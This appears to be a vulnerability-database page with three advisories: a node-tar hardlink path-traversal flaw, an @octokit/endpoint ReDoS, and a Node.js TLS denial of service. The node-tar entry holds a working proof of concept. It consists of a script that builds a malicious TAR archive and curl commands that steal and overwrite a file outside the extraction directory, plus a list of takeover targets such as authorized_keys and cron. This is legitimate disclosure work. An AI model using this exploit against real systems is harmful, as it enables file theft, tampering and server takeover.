GHSA-34X7-HFP2-RC4V
Vulnerability from github – Published: 2026-01-28 16:35 – Updated: 2026-01-28 16:35Summary
node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.
Details
The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:
Security check in [STRIPABSOLUTEPATH]:
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }
Hardlink creation in [HARDLINK]:
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.
-
Security check resolves the linkpath relative to the entry's parent directory:
a/b/c/d/ + ../../../../etc/passwd=etc/passwd. No../prefix, so it passes. -
Hardlink creation resolves the linkpath relative to the extraction directory (
this.cwd):/var/app/uploads/ + ../../../../etc/passwd=/etc/passwd. This escapes to the system's/etc/passwd.
The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.
PoC
Setup
Create a new directory with these files:
poc/
├── package.json
├── secret.txt ← sensitive file (target)
├── server.js ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/ ← created automatically by server.js
└── (extracted files go here)
package.json
{ "dependencies": { "tar": "^7.5.0" } }
secret.txt (sensitive file outside uploads/)
DATABASE_PASSWORD=supersecret123
server.js (vulnerable file upload server)
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');
const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });
http.createServer((req, res) => {
if (req.method === 'POST' && req.url === '/upload') {
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', async () => {
fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
res.end('Extracted\n');
});
} else if (req.method === 'GET' && req.url === '/read') {
// Simulates app serving extracted files (e.g., file download, static assets)
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
res.end(fs.readFileSync(targetPath));
} else {
res.end('File not found\n');
}
} else if (req.method === 'POST' && req.url === '/write') {
// Simulates app writing to extracted file (e.g., config update, log append)
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', () => {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
fs.writeFileSync(targetPath, Buffer.concat(chunks));
res.end('Written\n');
} else {
res.end('File not found\n');
}
});
} else {
res.end('POST /upload, GET /read, or POST /write\n');
}
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
create-malicious-tar.js (attacker creates exploit TAR)
const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) {
const b = Buffer.alloc(512, 0);
b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
b.write(' ', 148);
b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
if (linkpath) b.write(linkpath, 157);
b.write('ustar\x00', 257); b.write('00', 263);
let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
return b;
}
// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
tarHeader('d/', 'dir'),
tarHeader('d/x', 'link', '../secret.txt'),
Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
Run
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt
# Terminal 1: Start server
node server.js
# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123
# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write
# Confirm secret.txt was modified
cat secret.txt
Impact
An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:
Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.
Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.
Remote Code Execution / Server Takeover
| Attack Vector | Target File | Result |
|---|---|---|
| SSH Access | ~/.ssh/authorized_keys |
Direct shell access to server |
| Cron Backdoor | /etc/cron.d/*, ~/.crontab |
Persistent code execution |
| Shell RC Files | ~/.bashrc, ~/.profile |
Code execution on user login |
| Web App Backdoor | Application .js, .php, .py files |
Immediate RCE via web requests |
| Systemd Services | /etc/systemd/system/*.service |
Code execution on service restart |
| User Creation | /etc/passwd (if running as root) |
Add new privileged user |
Data Exfiltration & Corruption
- Overwrite arbitrary files via hardlink escape + subsequent write operations
- Read sensitive files by creating hardlinks that point outside extraction directory
- Corrupt databases and application state
- Steal credentials from config files,
.env, secrets
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24842"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-28T16:35:31Z",
"nvd_published_at": "2026-01-28T01:16:14Z",
"severity": "HIGH"
},
"details": "### Summary\nnode-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.\n\n### Details\nThe vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently:\n\n**Security check in `[STRIPABSOLUTEPATH]`:**\n```javascript\nconst entryDir = path.posix.dirname(entry.path);\nconst resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));\nif (resolved.startsWith(\u0027../\u0027)) { /* block */ }\n```\n\n**Hardlink creation in `[HARDLINK]`:**\n```javascript\nconst linkpath = path.resolve(this.cwd, entry.linkpath);\nfs.linkSync(linkpath, dest);\n```\n\n**Example:** An application extracts a TAR using `tar.extract({ cwd: \u0027/var/app/uploads/\u0027 })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`.\n\n- **Security check** resolves the linkpath relative to the entry\u0027s parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**.\n\n- **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system\u0027s `/etc/passwd`.\n\nThe security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.\n\n### PoC\n#### Setup\n\nCreate a new directory with these files:\n\n```\npoc/\n\u251c\u2500\u2500 package.json\n\u251c\u2500\u2500 secret.txt \u2190 sensitive file (target)\n\u251c\u2500\u2500 server.js \u2190 vulnerable server\n\u251c\u2500\u2500 create-malicious-tar.js\n\u251c\u2500\u2500 verify.js\n\u2514\u2500\u2500 uploads/ \u2190 created automatically by server.js\n \u2514\u2500\u2500 (extracted files go here)\n```\n\n**package.json**\n```json\n{ \"dependencies\": { \"tar\": \"^7.5.0\" } }\n```\n\n**secret.txt** (sensitive file outside uploads/)\n```\nDATABASE_PASSWORD=supersecret123\n```\n\n**server.js** (vulnerable file upload server)\n```javascript\nconst http = require(\u0027http\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst tar = require(\u0027tar\u0027);\n\nconst PORT = 3000;\nconst UPLOAD_DIR = path.join(__dirname, \u0027uploads\u0027);\nfs.mkdirSync(UPLOAD_DIR, { recursive: true });\n\nhttp.createServer((req, res) =\u003e {\n if (req.method === \u0027POST\u0027 \u0026\u0026 req.url === \u0027/upload\u0027) {\n const chunks = [];\n req.on(\u0027data\u0027, c =\u003e chunks.push(c));\n req.on(\u0027end\u0027, async () =\u003e {\n fs.writeFileSync(path.join(UPLOAD_DIR, \u0027upload.tar\u0027), Buffer.concat(chunks));\n await tar.extract({ file: path.join(UPLOAD_DIR, \u0027upload.tar\u0027), cwd: UPLOAD_DIR });\n res.end(\u0027Extracted\\n\u0027);\n });\n } else if (req.method === \u0027GET\u0027 \u0026\u0026 req.url === \u0027/read\u0027) {\n // Simulates app serving extracted files (e.g., file download, static assets)\n const targetPath = path.join(UPLOAD_DIR, \u0027d\u0027, \u0027x\u0027);\n if (fs.existsSync(targetPath)) {\n res.end(fs.readFileSync(targetPath));\n } else {\n res.end(\u0027File not found\\n\u0027);\n }\n } else if (req.method === \u0027POST\u0027 \u0026\u0026 req.url === \u0027/write\u0027) {\n // Simulates app writing to extracted file (e.g., config update, log append)\n const chunks = [];\n req.on(\u0027data\u0027, c =\u003e chunks.push(c));\n req.on(\u0027end\u0027, () =\u003e {\n const targetPath = path.join(UPLOAD_DIR, \u0027d\u0027, \u0027x\u0027);\n if (fs.existsSync(targetPath)) {\n fs.writeFileSync(targetPath, Buffer.concat(chunks));\n res.end(\u0027Written\\n\u0027);\n } else {\n res.end(\u0027File not found\\n\u0027);\n }\n });\n } else {\n res.end(\u0027POST /upload, GET /read, or POST /write\\n\u0027);\n }\n}).listen(PORT, () =\u003e console.log(`http://localhost:${PORT}`));\n```\n\n**create-malicious-tar.js** (attacker creates exploit TAR)\n```javascript\nconst fs = require(\u0027fs\u0027);\n\nfunction tarHeader(name, type, linkpath = \u0027\u0027, size = 0) {\n const b = Buffer.alloc(512, 0);\n b.write(name, 0); b.write(\u00270000644\u0027, 100); b.write(\u00270000000\u0027, 108);\n b.write(\u00270000000\u0027, 116); b.write(size.toString(8).padStart(11, \u00270\u0027), 124);\n b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, \u00270\u0027), 136);\n b.write(\u0027 \u0027, 148);\n b[156] = type === \u0027dir\u0027 ? 53 : type === \u0027link\u0027 ? 49 : 48;\n if (linkpath) b.write(linkpath, 157);\n b.write(\u0027ustar\\x00\u0027, 257); b.write(\u002700\u0027, 263);\n let sum = 0; for (let i = 0; i \u003c 512; i++) sum += b[i];\n b.write(sum.toString(8).padStart(6, \u00270\u0027) + \u0027\\x00 \u0027, 148);\n return b;\n}\n\n// Hardlink escapes to parent directory\u0027s secret.txt\nfs.writeFileSync(\u0027malicious.tar\u0027, Buffer.concat([\n tarHeader(\u0027d/\u0027, \u0027dir\u0027),\n tarHeader(\u0027d/x\u0027, \u0027link\u0027, \u0027../secret.txt\u0027),\n Buffer.alloc(1024)\n]));\nconsole.log(\u0027Created malicious.tar\u0027);\n```\n\n#### Run\n\n```bash\n# Setup\nnpm install\necho \"DATABASE_PASSWORD=supersecret123\" \u003e secret.txt\n\n# Terminal 1: Start server\nnode server.js\n\n# Terminal 2: Execute attack\nnode create-malicious-tar.js\ncurl -X POST --data-binary @malicious.tar http://localhost:3000/upload\n\n# READ ATTACK: Steal secret.txt content via the hardlink\ncurl http://localhost:3000/read\n# Returns: DATABASE_PASSWORD=supersecret123\n\n# WRITE ATTACK: Overwrite secret.txt through the hardlink\ncurl -X POST -d \"PWNED\" http://localhost:3000/write\n\n# Confirm secret.txt was modified\ncat secret.txt\n```\n### Impact\n\nAn attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:\n\n**Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process.\n\n**Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.\n\n### Remote Code Execution / Server Takeover\n\n| Attack Vector | Target File | Result |\n|--------------|-------------|--------|\n| SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server |\n| Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution |\n| Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login |\n| Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests |\n| Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart |\n| User Creation | `/etc/passwd` (if running as root) | Add new privileged user |\n\n## Data Exfiltration \u0026 Corruption\n\n1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations\n2. **Read sensitive files** by creating hardlinks that point outside extraction directory\n3. **Corrupt databases** and application state\n4. **Steal credentials** from config files, `.env`, secrets",
"id": "GHSA-34x7-hfp2-rc4v",
"modified": "2026-01-28T16:35:31Z",
"published": "2026-01-28T16:35:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal"
}
CVE-2025-25285 (GCVE-0-2025-25285)
Vulnerability from cvelistv5 – Published: 2025-02-14 19:31 – Updated: 2025-02-14 19:44- CWE-1333 - Inefficient Regular Expression Complexity
| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| octokit | endpoint.js |
Affected:
>= 4.1.0, < 10.1.3
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-25285",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-02-14T19:42:58.912811Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-02-14T19:44:09.952Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "endpoint.js",
"vendor": "octokit",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.1.0, \u003c 10.1.3"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "@octokit/endpoint turns REST API endpoints into generic request options. Starting in version 4.1.0 and prior to version 10.1.3, by crafting specific `options` parameters, the `endpoint.parse(options)` call can be triggered, leading to a regular expression denial-of-service (ReDoS) attack. This causes the program to hang and results in high CPU utilization. The issue occurs in the `parse` function within the `parse.ts` file of the npm package `@octokit/endpoint`. Version 10.1.3 contains a patch for the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333: Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-02-14T19:31:44.827Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/octokit/endpoint.js/security/advisories/GHSA-x4c5-c7rf-jjgv",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/octokit/endpoint.js/security/advisories/GHSA-x4c5-c7rf-jjgv"
},
{
"name": "https://github.com/octokit/endpoint.js/commit/6c9c5be033c450d436efb37de41b6470c22f7db8",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/octokit/endpoint.js/commit/6c9c5be033c450d436efb37de41b6470c22f7db8"
},
{
"name": "https://github.com/octokit/endpoint.js/blob/main/src/parse.ts",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/octokit/endpoint.js/blob/main/src/parse.ts"
}
],
"source": {
"advisory": "GHSA-x4c5-c7rf-jjgv",
"discovery": "UNKNOWN"
},
"title": "@octokit/endpoint has a Regular Expression in parse that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2025-25285",
"datePublished": "2025-02-14T19:31:44.827Z",
"dateReserved": "2025-02-06T17:13:33.121Z",
"dateUpdated": "2025-02-14T19:44:09.952Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2026-21637 (GCVE-0-2026-21637)
Vulnerability from cvelistv5 – Published: 2026-01-20 20:41 – Updated: 2026-01-21 20:22- CWE-400 - Uncontrolled Resource Consumption
| Vendor | Product | Version | ||
|---|---|---|---|---|
| nodejs | node |
Affected:
20.19.6 , ≤ 20.19.6
(semver)
Affected: 22.21.1 , ≤ 22.21.1 (semver) Affected: 24.12.0 , ≤ 24.12.0 (semver) Affected: 25.2.1 , ≤ 25.2.1 (semver) Affected: 4.0 , < 4.* (semver) Affected: 5.0 , < 5.* (semver) Affected: 6.0 , < 6.* (semver) Affected: 7.0 , < 7.* (semver) Affected: 8.0 , < 8.* (semver) Affected: 9.0 , < 9.* (semver) Affected: 10.0 , < 10.* (semver) Affected: 11.0 , < 11.* (semver) Affected: 12.0 , < 12.* (semver) Affected: 13.0 , < 13.* (semver) Affected: 14.0 , < 14.* (semver) Affected: 15.0 , < 15.* (semver) Affected: 16.0 , < 16.* (semver) Affected: 17.0 , < 17.* (semver) Affected: 18.0 , < 18.* (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-21637",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-21T20:22:28.525038Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400 Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-21T20:22:51.033Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "node",
"vendor": "nodejs",
"versions": [
{
"lessThanOrEqual": "20.19.6",
"status": "affected",
"version": "20.19.6",
"versionType": "semver"
},
{
"lessThanOrEqual": "22.21.1",
"status": "affected",
"version": "22.21.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "24.12.0",
"status": "affected",
"version": "24.12.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "25.2.1",
"status": "affected",
"version": "25.2.1",
"versionType": "semver"
},
{
"lessThan": "4.*",
"status": "affected",
"version": "4.0",
"versionType": "semver"
},
{
"lessThan": "5.*",
"status": "affected",
"version": "5.0",
"versionType": "semver"
},
{
"lessThan": "6.*",
"status": "affected",
"version": "6.0",
"versionType": "semver"
},
{
"lessThan": "7.*",
"status": "affected",
"version": "7.0",
"versionType": "semver"
},
{
"lessThan": "8.*",
"status": "affected",
"version": "8.0",
"versionType": "semver"
},
{
"lessThan": "9.*",
"status": "affected",
"version": "9.0",
"versionType": "semver"
},
{
"lessThan": "10.*",
"status": "affected",
"version": "10.0",
"versionType": "semver"
},
{
"lessThan": "11.*",
"status": "affected",
"version": "11.0",
"versionType": "semver"
},
{
"lessThan": "12.*",
"status": "affected",
"version": "12.0",
"versionType": "semver"
},
{
"lessThan": "13.*",
"status": "affected",
"version": "13.0",
"versionType": "semver"
},
{
"lessThan": "14.*",
"status": "affected",
"version": "14.0",
"versionType": "semver"
},
{
"lessThan": "15.*",
"status": "affected",
"version": "15.0",
"versionType": "semver"
},
{
"lessThan": "16.*",
"status": "affected",
"version": "16.0",
"versionType": "semver"
},
{
"lessThan": "17.*",
"status": "affected",
"version": "17.0",
"versionType": "semver"
},
{
"lessThan": "18.*",
"status": "affected",
"version": "18.0",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "A flaw in Node.js TLS error handling allows remote attackers to crash or exhaust resources of a TLS server when `pskCallback` or `ALPNCallback` are in use. Synchronous exceptions thrown during these callbacks bypass standard TLS error handling paths (tlsClientError and error), causing either immediate process termination or silent file descriptor leaks that eventually lead to denial of service. Because these callbacks process attacker-controlled input during the TLS handshake, a remote client can repeatedly trigger the issue. This vulnerability affects TLS servers using PSK or ALPN callbacks across Node.js versions where these callbacks throw without being safely wrapped."
}
],
"metrics": [
{
"cvssV3_0": {
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.0"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-20T20:41:55.352Z",
"orgId": "36234546-b8fa-4601-9d6f-f4e334aa8ea1",
"shortName": "hackerone"
},
"references": [
{
"url": "https://nodejs.org/en/blog/vulnerability/december-2025-security-releases"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "36234546-b8fa-4601-9d6f-f4e334aa8ea1",
"assignerShortName": "hackerone",
"cveId": "CVE-2026-21637",
"datePublished": "2026-01-20T20:41:55.352Z",
"dateReserved": "2026-01-01T15:00:02.339Z",
"dateUpdated": "2026-01-21T20:22:51.033Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.